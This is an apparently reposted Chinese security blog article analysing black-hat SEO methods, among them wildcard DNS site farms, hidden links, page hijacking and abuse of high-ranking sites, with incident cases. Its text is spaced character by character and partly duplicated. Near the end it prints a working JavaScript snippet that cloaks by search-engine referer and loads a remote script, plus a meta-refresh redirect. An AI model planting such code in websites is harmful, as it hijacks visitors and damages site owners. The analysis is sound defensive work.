搜索

[11861] 2017-10-05_黑帽SEO剖析之手法篇

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2017-10-05_黑帽SEO剖析之手法篇 黑 帽 S E O 剖 析 之 手 法 篇 n m a s k   F r e e B u f   2 0 1 7 - 1 0 - 0 5 此 系 统 文 章 总 共 分 为 四 篇 ， 分 别 是 手 法 篇 、 工 具 篇 、 隐 藏 篇 、 总 结 篇 ； 本 篇 为 黑 帽 此 系 统 文 章 总 共 分 为 四 篇 ， 分 别 是 手 法 篇 、 工 具 篇 、 隐 藏 篇 、 总 结 篇 ； 本 篇 为 黑 帽 S E O 之 手 法 篇 ， 主 要 介 绍 黑 之 手 法 篇 ， 主 要 介 绍 黑 帽 帽 s e o 的 概 念 以 及 一 些 常 用 的 手 法 。 　 　 的 概 念 以 及 一 些 常 用 的 手 法 。 　 　 首 先 得 说 黑 帽 S E O 是 个 老 话 题 ， 我 不 难 想 象 评 论 区 必 定 有 人 吐 槽 此 手 法 已 经 由 来 已 久 ， 作 者 有 炒 冷 饭 的 嫌 疑 。 我 对 此 观 点 表 示 认 可 ， 然 而 细 细 回 味 之 后 ， 却 又 感 到 无 奈 不 解 。 一 个 早 已 被 用 烂 的 黑 产 手 法 ， 一 个 每 年 给 互 联 网 产 业 造 成 巨 大 损 失 的 黑 色 手 段 ， 为 何 能 一 直 延 续 至 今 ？ 是 技 术 上 难 以 攻 破 ， 还 是 利 益 驱 使 下 选 择 视 而 不 见 ？ 　 当 我 发 现 公 开 资 源 中 对 此 黑 产 手 法 的 介 绍 寥 寥 无 几 且 并 不 详 细 时 ， 原 因 便 可 想 而 知 了 。 为 了 营 造 了 一 个 良 好 的 互 联 网 环 境 ， 我 在 此 结 合 实 际 案 列 对 黑 帽 S E O 这 种 黑 产 手 段 进 行 剖 析 介 绍 ， 希 望 能 够 使 安 全 界 同 道 引 起 共 鸣 ， 共 同 抵 制 。 　 　 由 于 距 本 文 撰 写 已 过 去 一 年 之 久 ， 而 此 期 间 我 已 不 在 研 究 相 关 技 术 ， 因 此 若 文 章 内 容 有 任 何 偏 差 及 谬 误 请 谅 解 。 插 曲 ： 有 趣 的 是 ， 就 在 前 几 天 有 位 朋 友 询 问 了 我 关 于 黑 帽 插 曲 ： 有 趣 的 是 ， 就 在 前 几 天 有 位 朋 友 询 问 了 我 关 于 黑 帽 S E O 方 面 的 问 题 ， 原 因 是 他 一 位 朋 友 运 营 的 一 个 网 方 面 的 问 题 ， 原 因 是 他 一 位 朋 友 运 营 的 一 个 网 站 ， 页 面 莫 名 其 妙 出 现 了 赌 博 博 彩 的 内 容 ， 删 除 后 又 会 自 动 生 成 ， 其 十 分 苦 难 便 寻 求 他 帮 忙 。 站 ， 页 面 莫 名 其 妙 出 现 了 赌 博 博 彩 的 内 容 ， 删 除 后 又 会 自 动 生 成 ， 其 十 分 苦 难 便 寻 求 他 帮 忙 。 黑 帽 黑 帽 s e o 概 念 概 念 S E O 全 称 为 搜 索 引 擎 优 化 ， 是 指 通 过 站 内 优 化 、 站 外 优 化 等 方 式 ， 提 升 搜 索 引 擎 收 录 排 名 。 既 然 有 S E O 技 术 ， 便 会 有 相 应 的 从 业 人 员 ， 他 们 被 称 为 白 帽 S E O ， 专 指 通 过 公 正 S E O 手 法 ， 帮 助 提 升 站 点 排 名 的 专 业 人 员 。 　 　 当 然 有 白 便 会 有 黑 ， 由 于 白 帽 S E O 优 化 的 过 程 将 会 十 分 漫 长 ， 一 个 新 站 想 要 获 取 好 的 排 名 ， 往 往 需 要 花 上 几 年 时 间 做 优 化 推 广 。 因 此 一 些 想 要 快 速 提 升 自 身 网 站 排 名 的 小 伙 伴 ， 便 开 始 在 S E O 上 研 究 作 弊 手 法 ， 从 而 诞 生 了 黑 帽 S E O 。 黑 帽 S E O 是 指 通 过 作 弊 手 段 ， 让 站 点 快 速 提 升 排 名 的 一 类 S E O 技 术 ， 或 者 说 是 黑 客 技 术 ， 比 如 说 ： 黑 链 （ 暗 链 ） 、 站 群 、 网 站 劫 持 （ 搜 索 引 擎 劫 持 ） 、 桥 页 等 ， 黑 帽 S E O 能 够 快 速 提 升 排 名 ， 但 毕 竟 是 违 规 作 弊 行 为 ， 容 易 被 K 。 S E O 的 一 些 黑 色 手 法 的 一 些 黑 色 手 法 黑 帽 S E O 的 手 法 很 多 ， 并 且 在 不 断 地 更 新 换 代 ， 其 中 最 常 见 的 包 括 利 用 泛 解 析 做 站 群 ， 入 侵 高 权 重 网 站 挂 暗 链 ， 入 侵 高 权 重 网 站 做 网 页 劫 持 ， 篡 改 高 权 重 网 站 网 页 内 容 ， 利 用 高 权 重 网 站 二 级 目 录 做 推 广 页 面 ， 修 改 n g i n x 配 置 做 目 录 反 向 代 理 等 等 。 接 下 来 我 结 合 实 际 案 例 ， 介 绍 一 些 常 用 的 手 段 。 利 用 泛 解 析 建 立 泛 二 级 域 名 站 群 利 用 泛 解 析 建 立 泛 二 级 域 名 站 群 利 用 D N S 泛 解 析 可 以 快 速 建 立 站 群 ， 因 为 一 个 一 级 域 名 便 可 以 衍 生 出 无 数 个 二 级 域 名 ， 当 然 一 般 需 要 借 助 站 群 工 具 ， 因 为 建 立 站 群 需 要 有 很 多 内 容 不 同 的 页 面 ， 手 工 建 立 显 然 不 可 能 。 而 s e o 人 员 大 费 周 章 地 建 立 站 群 的 目 的 ， 便 是 能 够 快 速 吸 引 大 量 的 搜 索 引 擎 爬 虫 ， 增 加 网 站 在 搜 索 引 擎 中 的 收 录 量 。 以 下 是 某 个 泛 二 级 域 名 站 群 案 例 截 图 ：
需 要 说 明 的 是 ， 以 上 截 图 中 的 二 级 域 名 并 不 是 通 过 一 条 条 d n s 解 析 记 录 去 绑 定 的 ， 解 析 里 面 设 置 的 是 * ， 也 就 是 泛 解 析 。 而 服 务 器 端 有 程 序 或 者 代 码 去 控 制 当 构 造 不 同 的 二 级 域 名 访 问 时 ， 会 返 回 不 同 的 网 页 内 容 ， 也 就 让 搜 索 引 擎 误 认 为 每 个 二 级 域 名 都 是 一 个 单 独 的 网 站 。 　 　 泛 解 析 有 很 多 优 点 ， 比 如 对 用 户 友 好 （ 即 使 输 错 二 级 域 名 也 能 跳 转 到 目 标 网 站 ） ， 又 能 够 更 快 速 地 被 搜 索 引 擎 收 录 等 。 基 于 这 些 优 点 ， 很 多 站 长 会 选 择 用 此 方 式 来 增 加 网 站 收 录 ， 然 而 如 果 没 有 妥 善 的 使 用 泛 解 析 可 能 会 带 来 难 以 想 象 的 危 害 。 利 用 泛 解 析 做 黑 产 利 用 泛 解 析 做 黑 产 利 用 泛 解 析 做 黑 帽 s e o 的 方 式 也 有 很 多 种 ， 基 于 是 否 需 要 入 侵 网 站 以 及 d n s 服 务 器 ， 我 分 为 入 侵 法 与 非 入 侵 法 来 介 绍 。 入 侵 法 入 侵 法 真 实 案 例 ： 几 个 月 前 我 们 发 现 一 个 重 要 政 府 网 站 出 现 了 大 量 博 彩 页 面 ， 取 证 截 图 如 下 ：
　 经 过 分 析 我 发 现 ， 此 手 法 利 用 的 便 是 泛 解 析 ， 从 截 图 中 可 以 看 到 出 现 了 大 量 此 政 府 网 站 的 二 级 甚 至 三 级 域 名 ， 而 这 些 域 名 都 是 随 机 构 造 的 ， 访 问 后 会 跳 转 到 博 彩 色 情 等 非 法 页 面 ， 而 访 问 一 级 域 名 又 是 正 常 的 内 容 。 且 先 不 分 析 跳 转 的 过 程 中 用 到 了 哪 些 技 术 ， 单 从 泛 解 析 记 录 就 不 难 看 出 ， 此 网 站 被 人 篡 改 了 d n s 解 析 记 录 。 我 们 有 理 由 相 信 ， 黑 客 获 取 了 此 域 名 的 d n s 解 析 控 制 权 限 ， 并 将 此 域 名 泛 解 析 到 黑 客 准 备 好 的 服 务 器 上 。 那 么 黑 客 这 么 做 的 目 的 很 明 显 ， 为 了 让 搜 索 引 擎 快 速 收 录 二 级 或 者 三 级 域 名 ， 从 而 达 到 引 流 到 非 法 页 面 的 目 的 。 　 　 我 们 通 过 分 析 此 政 府 网 站 被 入 侵 特 征 推 导 出 此 事 件 过 程 应 该 是 ， 黑 客 通 过 入 侵 手 段 获 取 到 了 该 政 府 网 站 d n s 解 析 权 限 （ 如 何 获 取 暂 不 可 知 ） ， 然 后 通 过 添 加 泛 解 析 记 录 ， 将 此 记 录 指 向 黑 客 准 备 好 的 服 务 器 ， 而 此 服 务 器 上 有 动 态 语 言 去 实 现 通 过 不 同 二 级 域 名 访 问 ， 返 回 不 同 的 页 面 结 果 功 能 。 由 于 政 府 网 站 本 身 权 重 很 高 ， 因 此 二 级 域 名 页 面 被 百 度 快 速 收 录 ， 达 到 为 非 法 页 面 引 流 的 目 的 。 这 种 手 法 的 好 处 在 于 不 必 入 侵 网 站 ， 而 只 要 获 取 到 域 名 解 析 权 限 即 可 （ 当 然 获 取 域 名 解 析 权 限 也 并 非 易 事 ） 。 非 入 侵 法 非 入 侵 法 真 实 案 例 ： 几 天 前 我 们 发 现 有 一 个 网 站 （ s d d d z g . c n ） 利 用 泛 解 析 做 恶 意 推 广 ， 查 看 网 站 特 征 后 ， 我 们 尝 试 构 造 不 同 的 二 级 域 名 访 问 ， 取 证 截 图 如 下 。 构 造 二 级 域 名 访 问 ：
最 终 返 回 结 果 ：   可 以 看 到 返 回 结 果 对 网 页 内 容 以 及 u r l 做 了 处 理 ， 当 我 们 尝 试 构 造 不 同 的 二 级 域 名 访 问 ， 发 现 返 回 结 果 内 容 都 不 一 样 ， 然 而 通 过 获 取 i p 发 现 来 自 同 一 台 服 务 器 。 首 先 我 们 不 难 想 到 ， 此 域 名 一 定 是 做 了 泛 解 析 的 ， 那 么 它 是 如 何 控 制 网 页 内 容 变 化 的 呢 ？ 查 看 网 页 源 码 可 以 看 到 j i a n g . g o v . c n 网 页 源 码 被 嵌 入 到 了 目 标 网 页 中 。
那 么 其 实 想 要 实 现 此 技 术 也 并 不 难 ， 可 以 在 服 务 端 上 用 代 码 实 现 。 首 先 通 过 获 取 请 求 的 二 级 域 名 地 址 ， 然 后 去 访 问 该 二 级 域 名 内 容 获 取 源 码 镶 嵌 到 自 己 的 网 页 内 。 如 果 构 造 的 二 级 域 名 内 容 不 是 一 个 完 整 的 域 名 地 址 （ 如 ： 1 . s d d d z g . c n ） ， 则 随 机 返 回 一 段 源 码 。 这 种 手 法 的 好 处 在 于 不 必 入 侵 网 站 ， 只 需 要 自 己 搭 建 一 台 服 务 器 即 可 ， 但 推 广 效 果 没 有 那 么 好 。 利 用 网 站 暗 链 利 用 网 站 暗 链 在 网 页 中 植 入 暗 链 这 种 手 法 已 经 相 对 落 伍 了 ， 目 前 用 的 也 比 较 少 ， 因 为 搜 索 引 擎 已 经 能 够 对 此 作 弊 手 法 进 行 检 测 。 为 了 介 绍 知 识 的 完 整 性 ， 此 处 我 简 单 介 绍 一 下 。 暗 链 也 称 为 黑 链 ， 即 隐 蔽 链 接   h i d d e n   l i n k s ， 是 黑 帽 S E O 的 作 弊 手 法 之 一 。 挂 暗 链 的 目 的 很 简 单 ， 增 加 网 站 外 链 ， 提 高 网 站 排 名 ； 实 现 方 式 主 要 分 为 几 种 ： 利 用 C S S 实 现 、 利 用 J S 实 现 、 利 用 D I V + J S 实 现 等 。 具 体 介 绍 请 参 考 ： 黑 帽 S E O 之 暗 链 利 用 高 权 重 网 站 ， 构 造 关 键 词 利 用 高 权 重 网 站 ， 构 造 关 键 词 U R L 做 推 广 做 推 广 真 实 案 例 ： 一 年 前 当 我 刚 研 究 黑 帽 S E O 的 时 候 发 现 了 一 个 有 趣 的 黑 帽 S E O 方 式 ， 虽 然 手 法 比 较 拙 劣 老 套 ， 但 却 也 有 成 效 。 于 是 在 写 这 篇 文 章 的 时 候 ， 我 特 意 找 了 一 个 典 型 案 例 ， 与 大 家 分 享 ， 取 证 截 图 如 下 。 将 U R L 中 的 参 数 内 容 显 示 到 网 页 内 ， 这 原 本 是 某 些 网 页 的 一 种 特 殊 功 能 。 以 往 的 经 验 告 诉 我 这 种 特 性 如 果 没 有 处 理 好 ， 可 能 会 引 发 X S S 漏 洞 ， 而 今 我 不 得 不 认 识 到 ， 这 种 特 性 也 一 直 被 用 于 黑 帽 s e o 。 通 过 在 u r l 或 者 p o s t 数 据 包 （ 常 见 于 搜 索 框 功 能 ） 中 构 造 推 广 关 键 词 ， 再 将 有 推 广 关 键 词 页 面 添 加 到 蜘 蛛 池 中 ， 使 搜 索 引 擎 收 录 就 能 达 到 推 广 的 目 的 。 一 般 此 种 手 法 常 被 用 来 推 广 q q 号 ， 盈 利 网 站 等 （ 类 似 打 广 告 ） ， 而 当 我 们 通 过 搜 索 引 擎 搜 索 某 些 关 键 词 时 （ 如 色 情 资 源 ） ， 就 会 显 示 出 此 页 面 ， 从 而 达 到 推 广 自 身 账 号 或 者 网 站 的 目 的 ， 当 然 这 只 是 一 种 推 广 手 段 ， 并 不 太 涉 及 引 流 。
利 用 网 页 劫 持 引 流 利 用 网 页 劫 持 引 流 网 页 劫 持 ， 又 叫 网 站 劫 持 或 者 搜 索 引 擎 劫 持 ， 是 目 前 黑 帽 S E O 中 最 流 行 的 一 种 做 法 。 其 原 因 可 以 简 单 概 括 为 ： 易 收 录 、 难 发 现 ， 易 收 录 表 现 为 搜 索 引 擎 尚 没 有 很 好 的 机 制 能 够 检 测 出 此 作 弊 手 段 ， 网 页 劫 持 手 法 仍 然 能 够 大 量 引 流 。 难 发 现 是 指 网 页 劫 持 手 法 比 较 隐 蔽 ， 一 般 非 技 术 人 员 很 难 发 现 它 的 存 在 。 　 　 网 页 劫 持 从 手 法 上 可 以 分 为 服 务 端 劫 持 、 客 户 端 劫 持 、 百 度 快 照 劫 持 、 百 度 搜 索 劫 持 等 等 ； 　 　 网 页 劫 持 的 表 现 形 式 可 以 是 劫 持 跳 转 ， 也 可 以 是 劫 持 呈 现 的 网 页 内 容 （ 与 直 接 篡 改 网 页 内 容 不 同 ） ， 目 前 被 广 泛 应 用 于 私 服 、 博 彩 等 暴 利 行 业 。 网 页 劫 持 真 实 案 例 网 页 劫 持 真 实 案 例 几 个 月 前 我 处 理 了 一 起 网 页 劫 持 案 列 ， 起 因 是 某 政 府 网 站 上 出 现 了 博 彩 相 关 内 容 （ 排 除 新 闻 页 面 ） ， 这 显 然 是 不 合 规 的 。 排 除 管 理 员 失 误 添 加 导 致 ， 恐 怕 此 网 站 多 半 是 被 黑 客 入 侵 了 。 首 先 我 访 问 了 该 记 录 上 的 链 接 ， 紧 接 着 浏 览 器 中 出 现 了 一 个 正 常 的 政 府 页 面 ， 而 也 就 须 臾 之 间 ， 网 页 瞬 间 又 跳 转 到 了 博 彩 网 页 。 图 一 为 正 常 政 府 页 面 ： 图 二 为 博 彩 页 面 ：
　 可 以 看 到 博 彩 页 面 的 域 名 为 w w w . 0 9 8 0 8 2 8 . c o m ， 显 然 不 是 先 前 的 政 府 网 站 域 名 x x x x . g o v . c n 。 看 到 此 现 象 ， 再 结 合 多 年 安 全 经 验 ， 我 大 致 能 够 猜 测 此 网 站 应 该 是 被 网 页 劫 持 了 。 通 过 分 析 以 上 过 程 的 数 据 包 ， 不 难 发 现 在 该 网 站 前 端 页 面 被 嵌 入 了 一 段 非 法 代 码 。 此 代 码 存 放 在 4 3 . 2 5 0 . 7 5 . 6 1 服 务 器 上 ， 查 看 该 服 务 器 信 息 ， 发 现 其 在 日 本 。 而 通 过 访 问 此 段 代 码 ， 返 回 内 容 则 是 跳 转 到 w w w . 0 9 8 0 8 2 8 . c o m 网 站 上 。 分 析 至 此 ， 我 们 不 难 发 现 ， 导 致 页 面 跳 转 的 原 因 便 是 x x x x . g o v . c n 网 页 被 非 法 嵌 入 了 一 窜 代 码 ， 而 此 代 码 能 够 控 制 访 问
该 网 页 时 跳 转 到 博 彩 页 面 。 这 是 搜 索 引 擎 劫 持 最 为 基 础 且 常 见 的 一 种 方 式 ， 其 变 种 甚 多 ， 类 型 方 式 也 各 异 。 最 后 我 通 过 登 录 w e b 服 务 器 查 看 ， 发 现 了 存 在 大 量 h t m l 文 件 被 篡 改 ， 且 都 在 文 件 开 头 被 写 入 外 部 j s 引 用 。 那 么 此 入 侵 事 件 过 程 应 该 是 ， 黑 客 通 过 w e b 应 用 程 序 某 些 漏 洞 入 侵 服 务 器 （ 实 际 是 管 理 后 台 弱 口 令 + 任 意 文 件 上 传 ） ， 通 过 批 量 篡 改 服 务 器 静 态 文 件 实 现 网 页 劫 持 的 目 的 。 网 页 劫 持 的 手 法 非 常 多 ， 并 不 是 这 一 个 案 例 就 能 概 括 的 ， 更 多 详 细 情 况 请 继 续 看 下 文 介 绍 。 服 务 端 劫 持 服 务 端 劫 持 服 务 端 劫 持 也 称 为 全 局 劫 持 ， 此 手 法 为 修 改 网 站 动 态 语 言 文 件 ， 判 断 访 问 来 源 控 制 返 回 内 容 ， 从 而 达 到 网 页 劫 持 的 目 的 。 其 特 点 往 往 是 通 过 修 改 a s p / a s p x / p h p 等 后 缀 名 文 件 ， 达 到 动 态 呈 现 网 页 内 容 的 效 果 。 　 　 G l o b a l . a s a 、 G l o b a l . a s a x 、 c o n n . a s p 、 c o n n . p h p 等 文 件 比 较 特 殊 ， 作 用 是 在 每 次 执 行 一 个 动 态 脚 本 的 时 候 ， 都 会 先 加 载 该 脚 本 ， 然 后 再 执 行 目 标 脚 本 。 所 以 只 要 在   G l o b a l . a s a   中 写 判 断 用 户 系 统 信 息 的 代 码 （ 访 问 来 源 等 ） ， 如 果 是 蜘 蛛 访 问 则 返 回 关 键 词 网 页 （ 想 要 推 广 的 网 站 ） ， 如 果 是 用 户 访 问 则 返 回 正 常 页 面 。 客 户 端 劫 持 客 户 端 劫 持 客 户 端 劫 持 的 手 法 也 很 多 ， 但 最 常 用 的 就 两 种 ： j s 劫 持 与 H e a d e r 劫 持 。 j s 劫 持 目 的 是 通 过 向 目 标 网 页 植 入 恶 意 j s 代 码 ， 控 制 网 站 跳 转 、 隐 藏 页 面 内 容 、 窗 口 劫 持 等 。 j s 植 入 手 法 是 可 以 通 过 入 侵 服 务 器 ， 直 接 写 入 源 代 码 中 ； 也 可 以 写 在 数 据 库 中 ， 因 为 有 些 页 面 会 呈 现 数 据 库 内 容 。 j s 劫 持 代 码 案 例 ： 以 下 代 码 可 以 使 通 过 搜 索 引 擎 搜 索 的 并 点 击 页 面 时 ， 执 行 一 段 j s 并 跳 转 到 博 彩 页 面 ； 而 直 接 输 入 网 址 访 问 网 页 时 ， 跳 转 到 一 个 4 0 4 页 面 。 代 码 分 析 ： 通 过 r e f e r e r 判 断 来 路 ， 如 果 r e f e r e r 来 路 为 空 就 是 跳 转 到 4 0 4 页 面 ， 如 果 是 搜 索 引 擎 来 的 r e f e r e r 里 面 也 会 有 显 示 ， 然 后 在 写 代 码 控 制 跳 转 。 如 果 只 是 控 制 实 现 显 示 不 同 的 内 容 ， 可 以 修 改 p h p 、 a s p 代 码 ； 如 果 需 要 劫 持 搜 索 引 擎 搜 索 框 ， 可 以 写 J S 代 码 来 做 浏 览 器 本 地 跳 转 。 当 然 j s 功 能 可 以 无 限 扩 展 ， 比 如 可 以 控 制 一 个 i p 一 天 内 第 一 次 访 问 正 常 ， 其 余 访 问 跳 转 等 等 。 h e a d e r 劫 持 ， 就 是 在 h t m l 代 码 的 h e a d 中 添 加 特 殊 标 签 ， 代 码 如 下 ： h e a d e r 劫 持 利 用 的 就 是 M e t a   R e f r e s h   T a g （ 自 动 转 向 ） 功 能 将 流 量 引 走 。 直 接 篡 改 网 页 内 容 （ 比 较 低 级 ） 直 接 篡 改 网 页 内 容 （ 比 较 低 级 ） 有 些 黑 客 在 入 侵 网 站 后 ， 喜 欢 直 接 篡 改 网 页 内 容 ， 比 如 放 上 自 己 的 q q 号 ， 或 者 作 为 推 广 将 网 页 篡 改 成 非 法 页 面 。 在 此 我 对 此 做 法 的 黑 客 表 示 鄙 视 ， 因 为 这 是 一 种 最 恶 劣 最 低 级 的 手 法 。 恶 劣 在 于 直 接 篡 改 网 页 内 容 ， 可 能 会 导 致 网 站 无 法 挽 回 的 损 失 ； 低 级 在 于 此 手 法 极 易 被 发 现 ， 起 不 到 真 正 的 引 流 推 广 作 用 。 利 用 高 权 重 网 站 二 级 目 录 利 用 高 权 重 网 站 二 级 目 录 即 黑 客 入 侵 网 站 后 ， 在 网 站 二 级 目 录 下 创 建 很 多 自 己 做 推 广 的 页 面 。 为 了 达 到 引 流 的 目 的 黑 客 往 往 需 要 建 立 大 量 的 二 级 目 录 页 面 ， 因 此 需 要 用 到 寄 生 虫 程 序 来 自 动 化 的 创 建 页 面 。 此 手 法 也 需 要 入 侵 高 权 重 网 站 ， 获 取 网 站 服 务 器 权 限 。 与 网 页 劫 持 手 法 不 同 的 是 ， 此 手 法 侧 重 点 在 于 利 用 高 权 重 网 站 自 身 的 优 势 ， 在 其 目 录 下 创 建 多 个 推 广 页 面 ； 而 网 页 劫 持 侧 重 隐 藏 自 身 ， 其 可 以 做 到 动 态 呈 现 网 页 内 容 给 客 户 。 因 此 在 实 际 使 用 中 ， 黑 客 经 常 结 合 两 者 使 用 。 此 手 法 与 利 用 泛 解 析 做 黑 帽 s e o 的 手 法 还 是 有 明 显 差 异 的 ， 虽 然 同 样 是 利 用 高 权 重 网 站 本 身 的 优 势 ， 但 泛 解 析 利 用 的 是 二 级 域 名 ， 而 此 手 法 利 用 的 是 二 级 目 录 ， 当 然 两 者 有 异 曲 同 工 之 妙 。 　 　 t o d a y = n e w   D a t e ( ) ; t o d a y = t o d a y . g e t Y e a r ( ) + " - " + ( t o d a y . g e t M o n t h ( ) + 1 ) + " - " + t o d a y . g e t D a t e ( ) ; v a r   r e g e x p = / . ( s o g o u | s o | h a o s o u | b a i d u | g o o g l e | y o u d a o | y a h o o | b i n g | g o u g o u | 1 1 8 1 1 4 | v n e t | 3 6 0 | i o a g e | s m | s p ) ( . [ a - z 0 - 9 - ] + ) { 1 , 2 } / / i g ; v a r   w h e r e   = d o c u m e n t . r e f e r e r ; i f ( r e g e x p . t e s t ( w h e r e ) ) { d o c u m e n t . w r i t e   ( ' < s c r i p t   l a n g u a g e = " j a v a s c r i p t "   t y p e = " t e x t / j a v a s c r i p t "   s r c = " h t t p : / / w w w . x x x . c o m / t e s t . j s " > < / s c r i p t > ' ) ; } e l s e { w i n d o w . l o c a t i o n . h r e f = " . . / . . / 4 0 4 . h t m " ; } < m e t a   h t t p - e q u i v = " r e f r e s h "   c o n t e n t = " 1 0 ;   u r l = h t t p : / / t h i e f . o n e " >
利 用 高 权 重 网 站 二 级 目 录 手 法 的 案 例 与 泛 解 析 案 例 类 似 ， 这 里 不 再 详 述 。 既 然 我 前 面 提 到 此 手 法 往 往 需 要 寄 生 虫 程 序 的 配 合 使 用 ， 那 么 何 为 寄 生 虫 程 序 ？ 它 又 有 何 玄 机 ？ 下 篇 将 会 详 细 介 绍 ， 敬 请 期 待 。 小 结 ： 黑 产 的 技 术 再 不 断 进 步 ， 我 们 没 法 停 滞 不 前 ！ 本 文 来 自 个 人 博 客 ： h t t p s : / / t h i e f . o n e / 2 0 1 7 / 0 9 / 2 8 / 1 / * 本 文 作 者 ： 本 文 作 者 ： n m a s k ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自   F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理